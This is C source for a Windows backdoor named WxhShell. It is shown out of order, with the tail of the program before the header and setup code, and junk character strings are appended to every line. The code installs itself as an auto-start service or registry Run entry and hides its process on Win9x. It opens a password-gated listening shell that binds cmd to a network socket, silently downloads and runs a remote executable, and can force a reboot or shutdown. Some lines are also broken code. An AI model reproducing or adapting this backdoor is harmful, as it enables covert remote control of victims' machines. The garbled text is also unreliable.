    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <on)"{W13  
    if(Boot(SHUTDOWN)) mZ&]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %J3lK]bv(  
    else { A3!2"}L  
    closesocket(wsh); $YR{f[+L w  
    ExitThread(0); oG9SO^v_  
    } D2-O7e  
    break; L%4tw5*N  
    } C$0 ITw  
  // 获取shell .?7So3   
  case 's': { 2X +7b M  
    CmdShell(wsh); $pJ3xp&  
    closesocket(wsh); lZ+/\s,]|  
    ExitThread(0); _4S7wOq5  
    break; B C&^]M  
  } (Bh L/A 4  
  // 退出 M%77u=m  
  case 'x': { ~M(pCSJ[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dR?5$V(  
    CloseIt(wsh); s={X-H< 2  
    break; .;}pU!S~R  
    } JG1LS$p^  
  // 离开 _4A&%>   
  case 'q': { 3pzOt&T|w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r6/<&1[  
    closesocket(wsh); s UvKA0  
    WSACleanup(); ,7/\&X<`B  
    exit(1); 4v i B=>  
    break; ol1AD: Ho  
        } ]dQZ8yVK  
  } |Yg}WHm  
  } <`b|L9  
f61]`@Bk  
  // 提示信息 l$qmn$Uc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HKT{IP+7(L  
} (rMTW+,  
  } ]*;RHy9  
`jt(DKB+J  
  return; NdaM9a#TZ  
} m}sh I8S  
+._f.BRmX.  
// shell模块句柄 $::51#^Wg  
int CmdShell(SOCKET sock) y0lLFe~  
{ SlM>";C\  
STARTUPINFO si; :1%VZvWk*  
ZeroMemory(&si,sizeof(si)); puk4D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _LLW{^V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *YMXiYJR  
PROCESS_INFORMATION ProcessInfo; YlxUx  
char cmdline[]="cmd"; VN1# 8{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LH1BZ(5g  
  return 0; +X{cN5Y K  
} UX+?0K  
iOE9FW|e  
// 自身启动模式 .kz(V5  
int StartFromService(void) (p}9^Y  
{ :a#|  
typedef struct !;6W!%t.|  
{ |2tSUOZ  
  DWORD ExitStatus; kvY} yw7  
  DWORD PebBaseAddress; :ga 9Db9P  
  DWORD AffinityMask; 9iiU,}M`j  
  DWORD BasePriority; w?*'vF_2:#  
  ULONG UniqueProcessId; 4"rb&$E   
  ULONG InheritedFromUniqueProcessId; 7 B4w.P,B  
}   PROCESS_BASIC_INFORMATION; m3x!*9h  
@|JPE%T   
PROCNTQSIP NtQueryInformationProcess; 9G=A)j  
<5C=i:6%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9} IVNZc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fLf#2EA  
jauc*347  
  HANDLE             hProcess; w`w ` q'  
  PROCESS_BASIC_INFORMATION pbi; \f ~u85  
?^F*"+qI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  'lSnyW{  
  if(NULL == hInst ) return 0; %> oT7|x  
R|d^M&K,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i|:: v l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )L&n)w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y?rK5Yos  
~QQEHx\4zZ  
  if (!NtQueryInformationProcess) return 0; G*kXWEx  
qhv4R|)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); il 8A&`%  
  if(!hProcess) return 0; vUA)#z<  
d7n4zx1Hh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Rq~ >h99M  
n:{-Vvt  
  CloseHandle(hProcess); 6ba2^3GH  
W,L>'$#pM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U/ v"?pg[  
if(hProcess==NULL) return 0; Lk$Je O  
D~t"9Z\  
HMODULE hMod; E#WjoIk  
char procName[255]; }-k_?2"A  
unsigned long cbNeeded; 98<bF{#0WM  
h[M6.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AOq9v~)z-  
3:z4M9f  
  CloseHandle(hProcess); U[H+87zg  
~50y-  
if(strstr(procName,"services")) return 1; // 以服务启动 BdRE*9.0  
` :B  
  return 0; // 注册表启动 kfG65aa>_  
} [7ek;d;'t  
h|Teh-@A5  
// 主模块 _ cHV3cz  
int StartWxhshell(LPSTR lpCmdLine) Dg];(c+/  
{ 96([V|5K  
  SOCKET wsl; 7J </7\  
BOOL val=TRUE; ?3KR(6D  
  int port=0; ;NN(CKZ9A  
  struct sockaddr_in door; 2*3B~"  
>V ]*mS %K  
  if(wscfg.ws_autoins) Install(); } (O D<  
nOL 25Y:  
port=atoi(lpCmdLine); fTi{oY,zTg  
OGD8QD  
if(port<=0) port=wscfg.ws_port; Oujlm|  
f"OA Zji  
  WSADATA data; hIg, 0B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .P0Qs&i  
#E~WVTO w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v;NZ"1=_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bl+@}+A  
  door.sin_family = AF_INET; GXAk*vS=G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1zEZ\G  
  door.sin_port = htons(port); cxF?&0[mY  
UVQa af  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ""U?#<}GD  
closesocket(wsl); MSm`4lw  
return 1; HK,G8:T  
} ]R3pBC"Jv  
3R$CxRc:  
  if(listen(wsl,2) == INVALID_SOCKET) { &xMJ^Nv  
closesocket(wsl); ]I.& .?^i0  
return 1; 7T(OV<q;#  
} O'yjB$j  
  Wxhshell(wsl); ")[Q4H;V  
  WSACleanup(); 8bKWIN g_n  
\Z7([Gh  
return 0; o\:f9JL  
=-s20mdj  
} f 7QUZb\  
TG%hy"k  
// 以NT服务方式启动 VTgbJ {?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .]sIoB-54  
{ \i;~~;D  
DWORD   status = 0; 1\.zOq#  
  DWORD   specificError = 0xfffffff; P.H/H04+  
TF iM[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &s}@7htE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %(7wZ0Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; & 4Iqm(  
  serviceStatus.dwWin32ExitCode     = 0; ,mBKya)  
  serviceStatus.dwServiceSpecificExitCode = 0; h/+I-],RF  
  serviceStatus.dwCheckPoint       = 0; 9'*ZEl^?D  
  serviceStatus.dwWaitHint       = 0; ^xkppN2  
nAba =iW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E+m"yQp{  
  if (hServiceStatusHandle==0) return; Pk?%PB ?Z  
FsPDWy&x  
status = GetLastError(); 4+?ZTc(  
  if (status!=NO_ERROR) 6L`+ z  
{ gp&& c,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \eSk7C  
    serviceStatus.dwCheckPoint       = 0; Hpo?|;3D5  
    serviceStatus.dwWaitHint       = 0; n4_:#L?  
    serviceStatus.dwWin32ExitCode     = status; 'rq#q)1MT  
    serviceStatus.dwServiceSpecificExitCode = specificError; E{]|jPdr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o:Os_NaD  
    return; {@F["YPxy  
  } 5`{;hFl  
rjf=qh5s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2;(iTPz +  
  serviceStatus.dwCheckPoint       = 0; /5'<w(  
  serviceStatus.dwWaitHint       = 0; ~1]2A[`s!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LU IT=+  
} R&|)y:bg|  
u$@I/q,ou  
// 处理NT服务事件,比如:启动、停止 g!) LhE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Kac j  
{ V<7K!<g)b  
switch(fdwControl) n#L2cv~Aj"  
{ @p` CAB  
case SERVICE_CONTROL_STOP: JE:n`l/p  
  serviceStatus.dwWin32ExitCode = 0; m ?"%&|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /zP)2q^  
  serviceStatus.dwCheckPoint   = 0; T _9ZI|Jx  
  serviceStatus.dwWaitHint     = 0; $$;2jX"I  
  { gwB> oi*OE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]Q_G /e  
  } 4bJ2<j  
  return; #vZ]2Ud= 2  
case SERVICE_CONTROL_PAUSE: 0N[DV]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .yh2ttf<gB  
  break; {S: 3 FI  
case SERVICE_CONTROL_CONTINUE: uV$d7(N}"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &*:)5F5  
  break; 7LZb*+>  
case SERVICE_CONTROL_INTERROGATE:  Dmv  
  break; $cpQ7  
}; kkBV;v%a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =28H^rK{  
} 1eyyu!  
BG?2PO{  
// 标准应用程序主函数 h _7;UQH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KA{DN!  
{ GvtI-\h]  
V5@[7ncVf  
// 获取操作系统版本 ue:P#] tx  
OsIsNt=GetOsVer(); :-@P3F[0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d*:qFq_  
Ol h%"=*;  
  // 从命令行安装 wQuaB6E  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0]w[wc <  
#YYvc`9  
  // 下载执行文件 ]B'  
if(wscfg.ws_downexe) { c1!/jTX$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jG ;(89QR/  
  WinExec(wscfg.ws_filenam,SW_HIDE); ./*,Thc  
} >Pd23TsN  
T:~W.3  
if(!OsIsNt) {  (mD:[|.  
// 如果时win9x,隐藏进程并且设置为注册表启动 xdU pp~}+.  
HideProc(); _$_CR\$  
StartWxhshell(lpCmdLine); FT<*  
} z>g& ?vo2  
else Ywk[VD+.  
  if(StartFromService()) kJpHhAn4  
  // 以服务方式启动 2Xs< 1rF  
  StartServiceCtrlDispatcher(DispatchTable); $"n)C  
else <=2*UD |  
  // 普通方式启动 sW3D ( n  
  StartWxhshell(lpCmdLine); oc%le2   
XlJux_LD:  
return 0;  %!h+  
} aYCzb7  
4xn^`xf9  
a} 7KpKCD  
#UeU:RJ1  
=========================================== A8/4:>Is  
yf^gU*  
eV+wnE?SB5  
g)6 k?Y  
l hp:.  
$ rnr;V  
" q8v!{Os+#  
Guc^gq}  
#include <stdio.h> cDyC&}:f  
#include <string.h> J|8YB3K,  
#include <windows.h> y'wW2U/ 1-  
#include <winsock2.h> KCT"a :\  
#include <winsvc.h> +Z(VWu6  
#include <urlmon.h>  #X_M  
{v/6|  
#pragma comment (lib, "Ws2_32.lib") <rmV$_  
#pragma comment (lib, "urlmon.lib") @<JQn^M  
4DM|OL`w  
#define MAX_USER   100 // 最大客户端连接数 vrx3O  
#define BUF_SOCK   200 // sock buffer ~'\u:Imuo  
#define KEY_BUFF   255 // 输入 buffer gy`qEY~B&  
JY8pV+q @=  
#define REBOOT     0   // 重启 ]h$TgX  
#define SHUTDOWN   1   // 关机 j=QjvWD  
&c ~)z\$  
#define DEF_PORT   5000 // 监听端口 X^^D[U  
TL:RB)- <  
#define REG_LEN     16   // 注册表键长度 h;[Nc j]  
#define SVC_LEN     80   // NT服务名长度 T=Q{K|JE  
$oj<yH<i  
// 从dll定义API hd%F7D5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T5+b{qA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ap9w H[H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hrt-<7U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u#|Jl|aT  
_Hj,;Z  
// wxhshell配置信息 ~,7R*71  
struct WSCFG { k5 l~  
  int ws_port;         // 监听端口 hKeh9 Bt  
  char ws_passstr[REG_LEN]; // 口令 YL0RQa  
  int ws_autoins;       // 安装标记, 1=yes 0=no x"De 9SB  
  char ws_regname[REG_LEN]; // 注册表键名 %,RU)}  
  char ws_svcname[REG_LEN]; // 服务名 eA^|B zU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @eU/g![u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UbH=W(%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $ayD55W4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D8XXm lo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  ?C\9lLX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B6&Mtm1  
sg\ jC#  
}; n K=V`  
8#B;nyGD1I  
// default Wxhshell configuration p4_uY7^6  
struct WSCFG wscfg={DEF_PORT, :\RB ^3;  
    "xuhuanlingzhe", n8,/olqwW  
    1, QV1%Zou  
    "Wxhshell", [}3Y1t{G  
    "Wxhshell", .1}(Bywm5  
            "WxhShell Service", ?! Gt. fb  
    "Wrsky Windows CmdShell Service", OPjh"Hv  
    "Please Input Your Password: ", 3W0:0I  
  1, FM];+d0  
  "http://www.wrsky.com/wxhshell.exe", xbA2R4|  
  "Wxhshell.exe" 3|3lUU\I  
    };  }"tYb6*  
XE\bZc  
// 消息定义模块 ]0E-lD0J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T+hW9pa)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7X>3WF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c?S402M}  
char *msg_ws_ext="\n\rExit."; d a9 *>+[  
char *msg_ws_end="\n\rQuit."; H;E{Fnarv  
char *msg_ws_boot="\n\rReboot..."; fsu "Lc  
char *msg_ws_poff="\n\rShutdown..."; j]^]p; An  
char *msg_ws_down="\n\rSave to "; p(%x&*)f  
?OFvGd  
char *msg_ws_err="\n\rErr!"; <'33!8 G  
char *msg_ws_ok="\n\rOK!"; $<PVzW,$o  
x #g,l2_!  
char ExeFile[MAX_PATH]; Q5JeL6t  
int nUser = 0; +^:K#S9U  
HANDLE handles[MAX_USER]; 1cega1s3xR  
int OsIsNt; H R  
ysPW<  
SERVICE_STATUS       serviceStatus; 24fWj?A|^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; { q<l]jn9  
v>R.ou(  
// 函数声明 =c'LG   
int Install(void); A:Z:&(NtE:  
int Uninstall(void); K.~U%v}  
int DownloadFile(char *sURL, SOCKET wsh); 5N/;'ySAE_  
int Boot(int flag); ) |a5Qxz  
void HideProc(void); Vy $\.2=  
int GetOsVer(void); u:$x,Q  
int Wxhshell(SOCKET wsl); `R^VK-=C  
void TalkWithClient(void *cs); =|/b[Gd(  
int CmdShell(SOCKET sock); I%`2RXBt3^  
int StartFromService(void); tB.9Ov*  
int StartWxhshell(LPSTR lpCmdLine); Yg b#U'|  
Z(P#]jI]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nFSa~M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wDk[)9#A   
3-D!ZS&  
// 数据结构和表定义 =%p{ " <  
SERVICE_TABLE_ENTRY DispatchTable[] = Ycwb1e#  
{ o hCPNm  
{wscfg.ws_svcname, NTServiceMain}, \8!HZei  
{NULL, NULL} Mtr~d  
}; kcb'`<B  
\N)FUYoHg  
// 自我安装 =k z;CS+  
int Install(void) [#tW$^UD  
{ [nrP; _  
  char svExeFile[MAX_PATH]; L~~aW0,  
  HKEY key; zoU.\]#C  
  strcpy(svExeFile,ExeFile); 57r)&8  
.IgQn|N  
// 如果是win9x系统,修改注册表设为自启动 [B[J%?NS  
if(!OsIsNt) { PZs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z:Wix|,ONS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TH-^tw  
  RegCloseKey(key); M<729M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IP3-lru  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yY+2;`CH  
  RegCloseKey(key); 6-~  
  return 0; "?!IPX2\S  
    } b8Qm4b?:4  
  } t j0vB]c  
} 6yU~^))bx  
else { #LZ`kSlv4  
V-31x)  
// 如果是NT以上系统,安装为系统服务 <|4j<U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8"@<s?0\"  
if (schSCManager!=0) &zR}jD>  
{ c8u0\X,  
  SC_HANDLE schService = CreateService >,v~,<3 i  
  ( 1NTe@r!y  
  schSCManager, U7W ct %  
  wscfg.ws_svcname, y.Py>GJJ1S  
  wscfg.ws_svcdisp, C{D2mSS  
  SERVICE_ALL_ACCESS, 4}CRM# W2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .&Z Vy{uP  
  SERVICE_AUTO_START, {:Q2Itsy  
  SERVICE_ERROR_NORMAL, !l~hO  
  svExeFile, ra3WLK  
  NULL, @P-7a`3*  
  NULL, qhtc?A/0}  
  NULL, )q,}jeM8  
  NULL, :/3`+&T^/  
  NULL v#6.VUAw  
  ); M3''xrpC  
  if (schService!=0) |lv4X }H  
  { >@X=E3  
  CloseServiceHandle(schService); 1;h>^NOq  
  CloseServiceHandle(schSCManager); #df43_u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \=@}(<4  
  strcat(svExeFile,wscfg.ws_svcname); QqDF_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -H \nFJ6+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H`P )  
  RegCloseKey(key); L81"W`?  
  return 0; O Rfl v+  
    } -'nx7wnj2  
  } )D^P~2  
  CloseServiceHandle(schSCManager); zR4huo  
} e#seqx  
} 'D4NPG`z  
^~0 r+w61  
return 1; KQqlM  
} G`n-WP  
zt8ZJlNK  
// 自我卸载 ^ey\ c1K  
int Uninstall(void) WM#!X!Vo  
{ AIeYy-f  
  HKEY key; @.0,k a,X  
"n\!y~:  
if(!OsIsNt) { &.}zZ/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ] !H<vR$8  
  RegDeleteValue(key,wscfg.ws_regname); #G,e]{gs  
  RegCloseKey(key); MLDuo|?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ldxUq,p  
  RegDeleteValue(key,wscfg.ws_regname); yF:fxdpw  
  RegCloseKey(key); b9U2afd  
  return 0; ql4T@r3l}3  
  } c*h5lM'n6  
} ,kP{3.#Q  
} ^\!^#rO  
else { RHxd6Gs"  
1~*_H_Q't  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r}991O<  
if (schSCManager!=0) sqy5rug  
{ RPrk]<<1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3lJK[V{'#'  
  if (schService!=0) aV ^2  
  { 6QV/8IX  
  if(DeleteService(schService)!=0) { ZGrV? @o,6  
  CloseServiceHandle(schService); R 'F|z{8  
  CloseServiceHandle(schSCManager); cr!I"kTgD  
  return 0; QEVjXJOt0  
  }  A=,m  
  CloseServiceHandle(schService); YP6+o#==  
  } )KNFS,5  
  CloseServiceHandle(schSCManager); R6!3Y/Q@  
} 2@H~nw 0  
} bUBuJ  
^,X+ n5q;m  
return 1; +,%x&L&I  
}  [W;14BD7  
%!q(zql  
// 从指定url下载文件 $lv  g.u  
int DownloadFile(char *sURL, SOCKET wsh) V}(%2W5X+  
{ *f[`Yv  
  HRESULT hr; K@fxCj*}  
char seps[]= "/"; DJbj@ 2W[  
char *token; (/)JnBy0  
char *file; ! 87ebo  
char myURL[MAX_PATH]; cz0tnF*&  
char myFILE[MAX_PATH]; |h'ugx1iY  
6`yq4!&v  
strcpy(myURL,sURL); !=-l760  
  token=strtok(myURL,seps); bNC1[GG[  
  while(token!=NULL) 9Hu%Z/[!p  
  { 0+L5k!1D  
    file=token; C>;}CH|X  
  token=strtok(NULL,seps); iU3co|q7  
  } NO<myN+N  
DQ~@=%?ni  
GetCurrentDirectory(MAX_PATH,myFILE); . v;Npm2  
strcat(myFILE, "\\"); .-r 1.'.A  
strcat(myFILE, file); VTF),e!  
  send(wsh,myFILE,strlen(myFILE),0); )j$Bo{  
send(wsh,"...",3,0); -H]svOX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $Fn# b|e  
  if(hr==S_OK) 8xNKVj)@  
return 0; mr;WxxO5  
else A[b'MNsv  
return 1; x&f?c=\F  
> 1r>cZn  
} 7#RW4ZM  
Ghj6&K%b0  
// 系统电源模块 ,^'Y7"  
int Boot(int flag) KLxg  
{ wCdUYgsPT"  
  HANDLE hToken; ubgq8@;  
  TOKEN_PRIVILEGES tkp; OZ-F+#d  
hP|5q&wX  
  if(OsIsNt) { ?GFVV->i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -wO`o<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); # ><.zZ  
    tkp.PrivilegeCount = 1; @ }[)uH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u%T.XgY=j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s_]rje8`  
if(flag==REBOOT) { F'"-4YV>&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bkY7]'.bz&  
  return 0; z*R"917  
} ?=\h/C  
else { Xc@4(Nyp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jHFdDw|N`  
  return 0; "z qt'b0bW  
} R; IB o  
  } gDA hl  
  else { yXkgGY5  
if(flag==REBOOT) { X`22Hf4ct  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k<St:X%.O  
  return 0; 5$y<nMP  
} ! |}>Y  
else { `W-:@?PmQx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f>RPh bq|  
  return 0; gs. K,xma  
} DF-og*V  
} aMzAA  
v"s}7trWV  
return 1; KsHMAp3  
} rVz#;d!`z  
%7{6>6%  
// win9x进程隐藏模块 L 5>>gG ,  
void HideProc(void) 2\7]EW  
{ Gjzhgz--  
j\W+wnAgk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L-MpdC  
  if ( hKernel != NULL ) |#S!qnXB  
  { f+)F-3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q'W`t>2T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {i=qx#2X?H  
    FreeLibrary(hKernel); #$A6s~`B  
  } wi&m(f(~  
94n,13  
return; jdhhvoQ  
} ~#g Vs*K  
)2R:P`U  
// 获取操作系统版本 Kyv$yf 9  
int GetOsVer(void) $H5Xa[  
{ GSMP)8 W  
  OSVERSIONINFO winfo; LNr2YRpyz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8I@_X~R  
  GetVersionEx(&winfo); (+9@j(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D,J's(wd  
  return 1; =LuA [g  
  else $ccI(J`zux  
  return 0; yvVs9"|0  
} 9<xe%V=ki  
QjRVdb>  
// 客户端句柄模块 4u"O/rt  
int Wxhshell(SOCKET wsl) YH E7`\l  
{ Qs~;?BH&  
  SOCKET wsh; T6{IuQjXs  
  struct sockaddr_in client; i8 dv|oa  
  DWORD myID; [t0gXdU 6  
5~ jGF  
  while(nUser<MAX_USER) ^D\#*pIO  
{ ~(Fy GB}  
  int nSize=sizeof(client); ]0\8g=KK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SA}]ZK P  
  if(wsh==INVALID_SOCKET) return 1; MF=@PE][  
$rf5\_G,96  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =_TCtH  
if(handles[nUser]==0) ; zs4>>^>  
  closesocket(wsh); u dH7Q&"  
else |JrG?:n  
  nUser++; +]B^*99  
  } YKj7~yK?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4,uH 4[7  
\+ K ^G  
  return 0; 'os-+m@  
} _sw,Y!x%dF  
2<<,aL*  
// 关闭 socket GT* \gZ  
void CloseIt(SOCKET wsh) B<+}_3.  
{ IUI >/87u  
closesocket(wsh); 3dC8MKPq0  
nUser--;  M)Y`u  
ExitThread(0); Ib]{rmaP  
} hYF<Wn3L  
Z~$fTW6g  
// 客户端请求句柄 c6Wy1d^  
void TalkWithClient(void *cs) N=-hXgX^  
{ UiW( /L  
Kh3*\xT  
  SOCKET wsh=(SOCKET)cs; yl)}1DPP  
  char pwd[SVC_LEN]; ~,dj)x 3M  
  char cmd[KEY_BUFF]; HZ ]'?&0  
char chr[1]; LkNC8V  
int i,j; %  &{>oEQ  
trg+" )a  
  while (nUser < MAX_USER) { YQ2ie>C8  
YS/{q~$t  
if(wscfg.ws_passstr) { evZ{~v& /  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x1wm]|BIf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dxxD%lHCF  
  //ZeroMemory(pwd,KEY_BUFF); G{YLyl/9  
      i=0; {b} ?I4)  
  while(i<SVC_LEN) { +d]}  
 Trm)7B*  
  // 设置超时 ?GX 5Pvg  
  fd_set FdRead; |Q.t]TR'P  
  struct timeval TimeOut; <?QY\wyikz  
  FD_ZERO(&FdRead); 6]7iiQz"H  
  FD_SET(wsh,&FdRead); .#Z}}W#  
  TimeOut.tv_sec=8; )}vQ?n[:'  
  TimeOut.tv_usec=0; n omtP }  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7G!SlC X}W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $d4eGL2S  
^[lg1uMW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _q M'm^z5  
  pwd=chr[0]; N%n#mV;  
  if(chr[0]==0xd || chr[0]==0xa) { if r!ha+8!  
  pwd=0; Nmns3D  
  break; }8 fG+H.  
  } ]MRE^Je\h  
  i++; 8K7zh.E  
    } 7DXT1+t  
NZmmO )p4  
  // 如果是非法用户,关闭 socket .}%$l.#a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j<4J_wE  
} lD. PNwM  
@\b*a]CV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !uy?]l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M"ZP s   
AZxOq !B  
while(1) { {PWz:\oaD  
*~4w%U4T0  
  ZeroMemory(cmd,KEY_BUFF); 'BcxKqC  
F[ m^(x  
      // 自动支持客户端 telnet标准   i8+kc_8#d  
  j=0; u3w `(3{ <  
  while(j<KEY_BUFF) {  \^w=T*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +7^{T:^ht  
  cmd[j]=chr[0]; .0r5=  
  if(chr[0]==0xa || chr[0]==0xd) { +|r) ;>b  
  cmd[j]=0; n!A')]y"  
  break; v6;XxBR6  
  } e#)}.   
  j++; dGr Ow)  
    } 5d<-y2!M  
coiTVDwA  
  // 下载文件 j"yL6Q9P  
  if(strstr(cmd,"http://")) { Xo;J1H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [P`Q_L,+  
  if(DownloadFile(cmd,wsh)) #c./<<P5}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;M>0,  
  else C5*j0}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E _/v$  
  } GK2IY  
  else { 3q{H=6  
Gq$9he<  
    switch(cmd[0]) { rKP"|+^  
